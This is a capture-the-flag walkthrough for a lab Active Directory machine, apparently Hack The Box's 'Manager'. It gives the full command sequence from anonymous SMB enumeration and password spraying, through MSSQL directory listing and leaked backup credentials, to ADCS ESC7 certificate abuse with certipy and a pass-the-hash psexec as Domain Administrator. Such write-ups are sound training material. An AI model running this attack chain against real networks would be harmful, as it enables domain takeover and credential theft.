Walkthrough

• Nmap
• Anonymous SMB Login
• RID-Bruteforce → Get Usernames
• Username = Password Spray → Get Two valid user creds
• MSSQL Login as operator
• XP_DirTree to list Webroot
• Downlaod Backup File with configuration file and credentials for Raven
• Login with winrm as raven to get user.txt
• ADCS Enumeration
• ESC7 → Theft5
• Get Hash as Domain Admin and psexec to get proof.txt

Getting Foothold

Nmap

First of all I performed a nmap port scan to reveal all open ports

nmap 10.10.11.236 -p-

 

First I enumerated all common Low-Hanging Fruit Ports like 80 (HTTP), 445 (SMB), 1433 (MSSQL), …

I wasn’t able to find anything interesting on the machines website.

The LDAP port revealed the Machines Domain Name through its SSL certificate.

After that I added the Domain Name and ip-address to my local /etc/hosts file.

Since the website didnt reveal more interesting information like usernames, file or software versions, I tried to login to the Domain Controllers SMB Share as an anonymous user using CrackMapExec.

cme smb dc01.manager.htb -u anonymous -d manager.htb -p ''  --shares

After that I also tried to enumerate all domain users using the anonymous login which worked aswell

cme smb dc01.manager.htb -u anonymous -d manager.htb -p ''  --rid-brute

Now that I know all usernames of the domain I created a simple list of them with and without the corresponding domain name and added the same entries in lowercase aswell.

 

We cant do much with this information since we dont have at least a single valid password for one of the users now. One thing we still can try is to perfrom AS-REP-Roasting which dont necessarly need valid credentials but only a valid user list. Unfornately AS-REP-Roasting didnt work here.

Now I checked if one of the users maybe has set their username as their password using CrackMapExec. This revealed valid Credentials for the user manager.htb\\operator and manager.htb\\cinWoo

Now I checked if both users can access the DC SMB Shares and if the users can access the MSSQL Database. This shows that we can access the mssql server as the user manager.htb\\operator

cme mssql dc01.manager.htb  -u operator -p operator -d manager.htb

Now I used impackets mssql-client to connect to the MSSQL Database

impacket-mssqlclient operator:operator@dc01.manager.htb -windows-auth

Im not privileged to enable or use xp_cmdshell, there were no users to impersonate or any database links but I was able to execute xp_dirtree commands.

With this command you can try to retrieve SMB Hashes when connecting to a remote SMB-Share. In this case the DC Service Account was used, so bruteforcing the password is not easily doable and relaying the Hash back to the DC isnt possible anymore.

xp_dirtree can be used to list directories remotly or locally so next I tried to look into the Webservers Webroot in C:\\inetpub\\wwwroot\\ which revealed a backup file website-backup-27-07-23-old.zip.

This is remotely accessable through the webserver and was therefore downloaded.

Inside the backup a hidden configuration file .old-conf.xml was found which contained credentials for the user raven@manager.htb

This user is able to login to the machine through winrm on port 5985.

cme winrm dc01.manager.htb  -u raven -p "R4v3nBe5tD3v" -d manager.htb

To access the machine evil-winrm was used with ravens credentials

evil-winrm -u raven -p "R4v3nBe5tD3v" -i 10.10.11.236

Now we can access the machines user.txt

 

Privilege Escalation: Domain Administrator through ADCS

With access to the machine we can enumerate if there are any vulnerabilities allowing local privilege escalation. Unfortunately no such vulnerabilties could be identified.

Since this is a Active Directory Machine there is a chance the Domain contains as an Active Directory Certificate Service (ADCS) which functions as a Public Key Infrastructure. ADCS can contain serious vulnerabilties which can be exploited to gain for example Certificates and Hashes of other users and therefore allow privilege escalation. (Also See https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)

To see if a CA is used we can execute the Command certutil. We can see that the CA manager-DC01-CA is used.

To check for vulnerabilties regarding ADCS on my Kali Machine certipy can be used. I used the following docker repo to set it up since my certipy-ad tool was somehow broken. https://github.com/secure-77/Certipy-Docker

I cloned the repo and build the docker img

sudo docker build Certipy-Docker

Now with certipy set up I enumerated the ADCS certificate templates to find vulnerable templates as the user raven@manager.htb

sudo docker run -it -v $(pwd):/tmp 0251d8047883 certipy find -vulnerable -u raven@manager.htb -p R4v3nBe5tD3v -dc-ip 10.10.11.236  -debug

Interesting Output was written in a txt file 20240106052837_Certipy.txt

This revealed raven has excessive permissions on the Certificate Authority which is therefore vulnerable to ESC7. (See: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation#attack-2)

Explanation

A certificate authority itself has a set of permissions that secure various CA actions. The two main rights here are the ManageCA right and the ManageCertificates right, which translate to the “CA Administrator” and “Certificate Manager”. If an attacker gains control over a principal that has the ManageCA right over the CA object (which raven has), he can remotely gain the ManageCertificates right, approve pending certificate requests, subverting the "CA certificate manager approval" protection

Exploiting this vulnerability relies on the fact that users with the Manage CA and Manage Certificates access right can issue failed certificate requests. The SubCA certificate template is vulnerable to ESC1, but only administrators can enroll in the template. Thus, a user can request to enroll in the SubCA - which will be denied - but then issued by the manager afterwards.

Prequisites:

• Only ManageCA permission
• Manage Certificates permission (can be granted from ManageCA)
• Certificate template SubCA must be enabled (can be enabled from ManageCA)

Abuse:

You can grant yourself the Manage Certificates access right by adding raven as a new officer.

sudo docker run -it -v $(pwd):/tmp 0251d8047883 certipy ca -ca 'manager-DC01-CA' -add-officer raven -u raven@manager.htb -p R4v3nBe5tD3v -dc-ip 10.10.11.236

The SubCA template can be enabled on the CA with the -enable-template parameter. By default, the SubCA template is enabled.

sudo docker run -it -v $(pwd):/tmp 0251d8047883 certipy ca -ca 'manager-DC01-CA' -enable-template SubCA -u raven@manager.htb -p R4v3nBe5tD3v -dc-ip 10.10.11.236

If we have fulfilled the prerequisites for this attack, we can start by requesting a certificate based on the SubCA template.

This request will be denied, but we will save the private key and note down the request ID

sudo docker run -it -v $(pwd):/tmp 0251d8047883 certipy req -ca 'manager-DC01-CA' -target dc01.manager.htb  -template SubCA -u raven@manager.htb -p R4v3nBe5tD3v -dc-ip 10.10.11.236 -upn administrator@manager.htb

With our Manage CA and Manage Certificates, we can then issue the failed certificate request with the ca command and the -issue-request <request ID> parameter. In this case 20.

sudo docker run -it -v $(pwd):/tmp 0251d8047883 certipy ca -ca 'manager-DC01-CA' -issue-request 20  -u raven@manager.htb -p R4v3nBe5tD3v -dc-ip 10.10.11.236

And finally, we can retrieve the issued certificate with the req command and the -retrieve <request ID> parameter.

sudo docker run -it -v $(pwd):/tmp 0251d8047883 certipy req -ca 'manager-DC01-CA' -target dc01.manager.htb  -template SubCA -u raven@manager.htb -p R4v3nBe5tD3v -dc-ip 10.10.11.236 -retrieve 20

Now that we have the certificate we can use it to authenticate as Domain Administrator to get access to the machine.

I personally like to get the Domain Admins NTLM Hash using this certificate using THEFT5.

Here the certificate is used for authentication to retrieve the Users NTLM hash which can then be used perform further Pass-The-Hash attacks.

We can do that using certipy aswell:

sudo docker run -it -v $(pwd):/tmp 0251d8047883 certipy auth -pfx 'administrator.pfx' -no-save -dc-ip 10.10.11.236

With the hash we can now execute PS-Exec using PTH to access the machine as a Domain Administrator and retrieve the root.txt

impacket-psexec manager.htb/Administrator@10.10.11.236 -hashes :ae5064c2f62317332c88